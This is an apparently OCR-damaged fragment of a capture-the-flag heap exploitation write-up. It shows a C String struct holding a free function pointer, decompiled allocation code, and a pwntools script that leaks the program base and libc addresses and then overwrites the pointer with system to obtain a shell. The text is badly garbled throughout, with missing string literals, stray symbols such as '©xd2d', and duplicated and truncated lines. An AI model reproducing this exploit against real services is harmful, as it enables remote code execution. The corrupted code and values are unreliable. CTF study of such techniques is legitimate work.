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struct
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int inuse;
String *str;
} Strings[ox10];

typedef struct String
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union {
char *buf;
char array[16];
} o;
int len;
void (*free)(struct String *ptr);

} String;

create string A W APAN [F] 77 XRAEAE 7775 -
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nbytesa = strlen(&buf);
if ( nbytesa > 15 )
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dest (char *)malloc(nbytesa);
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call puts_addr = ©xd2d
0x18 + p64(call puts_addr)[0]
(payload),payload)

))-call puts_addr
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p.sendline(
p.sendline(
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from pwn import

context(log level ,0S

p remote ( ,29256)
elf = ELF(
libc = ELF(

def add(size,content):
p.recvuntil(
.sendline(
.recvuntil( )
.sendline( (size))

p
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.recvuntil( )
p.send(content)
def delete(id):
p.recvuntil(
.sendline(
.recvuntil(
.sendline(
.recvuntil(
.sendline(

call puts_addr = ©xd2d
0x18 + p64(call puts_addr)[0]
(payload),payload)

0x18)




elf base ub4(p.recv(6).ljust(8, ))-call puts_addr
log.info( (elf_base))

.1just(ex18, ) p64(0xDBB)[9]
(payload),payload)

(p.recv(14),16)

(leak_addr))

leak_addr 0x78cof
(libc_addr))

libc_addr libc.sym[
(system_addr))

libc_addr libc.search(

(str_binsh))

.1just(ex1s8, ) p64(system_addr)
(payload),payload)

p.interactive()
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